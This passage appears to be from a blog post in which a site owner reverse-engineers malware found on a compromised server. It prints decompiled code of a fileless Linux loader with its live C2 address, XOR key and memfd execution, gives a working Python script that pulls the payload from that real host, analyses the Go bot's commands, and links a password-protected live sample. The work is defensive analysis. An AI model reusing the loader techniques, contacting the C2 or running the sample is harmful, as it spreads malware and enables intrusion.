attempted to manually download the binary for the amd64 architecture specified in the script above and opened it with IDA Pro: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } Analysis revealed several key malicious operations: v7 = syscall(319LL, "a", 0LL);: 319 corresponds to the memfd_create system call on Linux x64, used to create an anonymous file in memory. Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory. *v9++ ^= 0x99u;: Decrypts the downloaded Payload by XOR-ing each byte with 0x99, likely to evade firewall detection. argva[0] = "[kworker/0:2]";: Disguises the process as a kernel kworker process. Other operations: Checks for the existence of the log file /tmp/log_de.log to determine if the server has already been compromised. If so, it exits immediately. If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload. The C2 server IP 119.45.243.154 is evident from the reversed code, but the port wasn't immediately obvious. Let's analyze the port setting code: *(_QWORD *)&addr.sa_family = 4213178370LL; Here, 4213178370LL (DEC) = 0xFB200002 (HEX). Since it's a QWORD (64-bit value), the actual value is 0x00000000FB200002. Due to little-endian byte order, the bytes stored in memory would be 02 00 20 FB 00 00 00 00. The typical memory layout for sockaddr is: offset 0–1: sa_family (2 bytes) offset 2–15: sa_data (14 bytes) Thus, the assignment above does the following: offset 0: Low byte of sa_family = 0x02 offset 1: High byte of sa_family = 0x00 offset 2: sa_data[0] = 0x20 offset 3: sa_data[1] = 0xFB offset 4..7: sa_data[2..5] = 0x00 0x00 0x00 0x00 Here, sa_data[0..1] represents the port, and sa_data[2..5] represents the IP address. Since network byte order is big-endian, the actual port is 0x20FB, which is 8443. The IP address assignment is found later: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; I wrote a Python script to connect to the server based on the loader's logic and attempt to download the Payload into an ELF file: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # Delete old file if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() Running it yielded an ELF file, payload.elf. Payload.elf First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan: However, the sandbox didn't detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro: \GoReSym.exe payload.elf > symbols.json I had an AI write an IDA Pro script to import the symbol table: import json import idc import idaapi import idautils # ⚠️ Modify this: Path to your generated symbols.json file json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. Restore User Functions count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] full_name = func['FullName'] # Clean up characters IDA doesn't like safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # Attempt to rename if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # Optionally, if renaming succeeds, try to re-analyze as code idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() In IDA, I used File -> Script file to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> Steals or uses cloud credentials. Bucket.PutObjectFromFile -> Uploads files (very likely exfiltrating data from your server to the attacker's OSS Bucket). Bucket.DoPutObject -> Executes the upload operation. (*Config).LimitUploadSpeed / LimitDownloadSpeed -> Limits bandwidth usage to avoid detection of abnormal network activity. Obfuscated Package Name Real Package / Functional Guess Evidence (Artifacts) Behavior Description ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret Connects to Aliyun OSS, uploads/downloads files, steals credentials. l2FdnE6 os/exec (Command Execution) (*Ps1Jpr8w8).Start, StdinPipe, Output Executes system commands. It calls Linux shell commands. qzjJr5PCHfoj os / Filesystem Operations Readdir, Chown, Truncate, SyscallConn Traverses directories, modifies file permissions, reads/writes files. PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop Connects to Linux D-Bus. Possibly for privilege escalation, monitoring system events, or interacting with systemd. c376cVel0vv math/rand NormFloat64, Shuffle, Int63 Generates random numbers. Often used for generating communication keys or randomness in mining algorithms. r_zJbsaQ net (Low-level Networking) DialContext, Listen, Accept, SetKeepAlive Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port. J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData Uses HTTP/2 protocol for communication (likely to hide C2 traffic). Otkxde ECC Cryptography Library ScalarMult, Double, SetGenerator Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for ransomware. We can infer some possible program logic: Persistence & Control (D-Bus & Net): It attempts to connect via D-Bus using the PqV1YDIP package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity. It listens on ports or establishes reverse connections via r_zJbsaQ. Data Exfiltration (Aliyun OSS): It doesn't send data back to a typical C2 server IP but uses Aliyun OSS as a "transit point." This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect. Command Execution (os/exec): It has full shell execution capabilities (l2FdnE6), allowing it to execute arbitrary commands, download scripts, and modify file permissions. Possible Ransomware or Cryptominer Features: Numerous mathematical operation libraries (Otkxde, HfBi9x4DOLl, etc., contain many Mul, Add, Square, Invert) suggest it is computationally intensive. If it's ransomware: These math libraries are used to generate keys for encrypting files. If it's a cryptocurrency miner: These libraries are used to calculate hashes. Combined with its use of Shuffle and NormFloat64 from math/rand, this aligns with features of some mining algorithms (like RandomX). Further analysis led to a function named UXTgUQ_stlzy_RraJUM: I had an AI analyze it and the conclusion was: This is a very typical C2 (Command & Control) instruction dispatcher function written in Golang. Combined with the context of the "Linux loader" mentioned earlier, this function belongs to the core Trojan (Bot) that was downloaded and executed by that loader. 1. Overview and Location Function: Instruction Dispatcher (Command Dispatcher). This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions. Security Mechanism: The function begins with an authentication check if ( v18 == a2 && (unsigned __int8)sub_4035C0() ). If validation fails, it returns "401 Not Auth", indicating that this Trojan has some anti-scanning or session authentication mechanisms. 2. Detailed Reverse Engineering of the Instruction Set The code uses switch ( a4 ) to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here: Case 1 (Single-character commands - Basic Control) These are likely remnants of an early version or shorthand commands designed to reduce traffic: I: Calls os_rename. Function: Renames a file. E: Calls os_removeAll. Function: Deletes files/cleans traces. J: Returns "0" or unknown. Possibly used for heartbeat detection or status queries. Z: Returns "mysql_close\t1". Function: Database-related. It's inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection. H: Possibly gets host information (Host Info). Other single letters (A-Y): Call different sub-functions (like sub_7CAF40), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc. Case 4 (Four-character commands) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" Function: Terminates the Trojan process. Case 8 (Eight-character commands - Core Functions) This is the most critical part, exposing the Trojan's core capabilities: Download Hex: 0x64616F6C6E776F44LL -> "Download" Function: Downloader functionality. Downloads files from a specified URL. Code Logic: If a11 (callback function or interface) exists, it calls it to process the download result. LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" Function: Local execution. Likely executes a local shell script or binary file. Case 9 (Nine-character commands - Advanced Attacks) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" Function: Memory injection execution. This is an advanced feature, used in conjunction with memfd_create seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk. PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" Function: Plugin execution. This indicates that the Trojan is modular and can dynamically load .so or Go plugin modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.). 3. Response Construction Logic After the switch block, there is a complex string concatenation logic: *(_WORD *)v71 = 15917 -> ASCII for | and }? Or specific delimiters. *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII for -. Conclusion: The Trojan wraps the command execution result (like "OK", "Error", or specific data) with specific delimiters (e.g., |<result>-) before sending it back to the C2. 4. Summary and Profile Combined with the previous code (the Loader), we can create a complete profile for this Trojan: Family Speculation: This naming style (InjectRun / PluginRun / LocalRun), combined with being written in Go and supporting modular plugins, strongly resembles the Spark botnet or a variant (like a modified version of the Sliver C2, but it's more akin to a custom-built blackhat bot). It could also be a variant of the Sysrv-hello mining worm (which often mixes Go and exploits). Attack Chain: Loader: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory. Bot (this code): This Go program, resident in memory. Modules: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via PluginRun. Lateral Movement: The mysql_close hint suggests it has password-scanning capabilities and infects other machines on the internal network via InjectRun. Conclusion Honestly, I felt there wasn't much more meaningful analysis to be done. The logic essentially confirms it's a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless. The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it's best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services. Sample Download: Payload.zip Note: This sample is unprocessed. Do not run it directly without proper security measures! Password: 20251206